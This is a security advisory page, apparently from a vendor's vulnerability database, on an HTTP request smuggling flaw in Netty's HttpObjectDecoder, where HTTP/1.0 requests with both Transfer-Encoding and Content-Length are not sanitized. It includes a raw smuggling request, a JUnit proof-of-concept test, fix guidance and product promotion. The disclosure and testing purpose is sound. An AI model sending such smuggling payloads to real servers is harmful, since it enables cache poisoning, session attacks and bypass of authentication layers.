Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Maven

GHSA-xxqh-mfjm-7mv9

MEDIUM

GHSA-xxqh-mfjm-7mv9 is a medium-severity (CVSS 5.8) CWE-444 vulnerability in io.netty:netty-codec-http. O3 Security confirms whether GHSA-xxqh-mfjm-7mv9 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Netty HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization

Also known asCVE-2026-42581
Published
May 7, 2026
Updated
May 14, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed

Real-World Exposure

2 pkgs affected
io.netty:netty-codec-httpio.netty:netty-codec-http

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization

FieldValue
Libraryio.netty:netty-codec-http
Componentcodec-httpHttpObjectDecoder
SeverityHIGH
AffectsHEAD, commit 4f3533ae confirmed

Summary

HttpObjectDecoder strips a conflicting Content-Length header when a request carries both Transfer-Encoding: chunked and Content-Length, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving Content-Length intact in the forwarded HttpMessage. Any downstream proxy or handler that trusts Content-Length over Transfer-Encoding will disagree on message boundaries, enabling request smuggling.


Root Cause

// HttpObjectDecoder.java:828-833
if (HttpUtil.isTransferEncodingChunked(message)) {
    this.chunked = true;
    if (!contentLengthFields.isEmpty() && message.protocolVersion() == HttpVersion.HTTP_1_1) {
        handleTransferEncodingChunkedWithContentLength(message);  // strips CL — HTTP/1.1 only
    }
    return State.READ_CHUNK_SIZE;
}

// HttpObjectDecoder.java:870-873
protected void handleTransferEncodingChunkedWithContentLength(HttpMessage message) {
    message.headers().remove(HttpHeaderNames.CONTENT_LENGTH);
    contentLength = Long.MIN_VALUE;
}

The conflict-resolution path is gated on message.protocolVersion() == HttpVersion.HTTP_1_1. When the request declares HTTP/1.0, the condition is false, handleTransferEncodingChunkedWithContentLength is never called, and the Content-Length header survives into the forwarded message. Netty still processes the body as chunked; a downstream component that is CL-first interprets the same bytes as a separate request.


Proof of Concept

POST /api HTTP/1.0\r\n
Host: internal.example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 0\r\n
\r\n
5\r\n
GPOST\r\n
0\r\n
\r\n

Netty consumes the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads Content-Length: 0, considers the request complete at the blank line, and treats 5\r\nGPOST\r\n0\r\n\r\n as the start of a second request.


Conditions Required

  1. Netty is deployed behind a reverse proxy or load balancer that is Content-Length-first (nginx, some HAProxy configs, AWS ALB in certain modes).
  2. Attacker can send HTTP/1.0 requests (either directly or by downgrading via connection manipulation).
  3. No additional HTTP/1.0 stripping layer between attacker and Netty.

Impact

Request smuggling at the Netty edge. Allows cache poisoning, session fixation against other users, unauthorized access to internal endpoints, and bypassing of WAF or authentication layers that inspect only the first logical request.


Confirmed PoC Test

Verified against HEAD (4f3533ae) using EmbeddedChannel. Both tests pass, confirming the vulnerability and the HTTP/1.1 contrast.

package io.netty.handler.codec.http;

import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.util.CharsetUtil;
import org.junit.jupiter.api.Test;

import static org.junit.jupiter.api.Assertions.*;

public class NettySmugglingSec001Test {

    // VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict
    @Test
    public void http10_contentLengthNotStripped() {
        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());
        ch.writeInbound(Unpooled.copiedBuffer(
                "POST /api HTTP/1.0\r\n" +
                "Transfer-Encoding: chunked\r\n" +
                "Content-Length: 0\r\n" +
                "\r\n" +
                "5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII));

        HttpRequest req = ch.readInbound();
        assertEquals(HttpVersion.HTTP_1_0, req.protocolVersion());
        // Content-Length: 0 survives — downstream CL-first proxy treats chunked body as new request
        assertNotNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "VULNERABLE: CL not stripped");
        ch.finishAndReleaseAll();
    }

    // SAFE: HTTP/1.1 correctly strips Content-Length on TE+CL conflict
    @Test
    public void http11_contentLengthStripped() {
        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());
        ch.writeInbound(Unpooled.copiedBuffer(
                "POST /api HTTP/1.1\r\n" +
                "Transfer-Encoding: chunked\r\n" +
                "Content-Length: 0\r\n" +
                "\r\n" +
                "5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII));

        HttpRequest req = ch.readInbound();
        assertNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "SAFE: CL correctly stripped");
        ch.finishAndReleaseAll();
    }
}

Fix Guidance

Remove the message.protocolVersion() == HttpVersion.HTTP_1_1 guard in HttpObjectDecoder, applying handleTransferEncodingChunkedWithContentLength unconditionally whenever both Transfer-Encoding: chunked and Content-Length are present, regardless of protocol version.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
Mavenio.netty:netty-codec-http4.2.0.Alpha1&&< 4.2.13.Final4.2.13.Final
Mavenio.netty:netty-codec-httpall versions4.1.133.Final

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.netty:netty-codec-http. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update io.netty:netty-codec-http to 4.2.13.Final or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xxqh-mfjm-7mv9 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-xxqh-mfjm-7mv9 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-xxqh-mfjm-7mv9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization | Field | Value | |-----------|-------| | Library | `io.netty:netty-codec-http` | | Component | `codec-http` — `HttpObjectDecoder` | | Severity | **HIGH** | | Affects | HEAD, commit `4f3533ae` confirmed | --- ## Summary `HttpObjectDecoder` strips a conflicting `Content-Length` header when a request carries both `Transfer-Encoding: chunked` and `Content-Length`, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the bo
O3 Security · Impact-Aware SCA

Is GHSA-xxqh-mfjm-7mv9 in your dependencies?

O3 detects GHSA-xxqh-mfjm-7mv9 across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.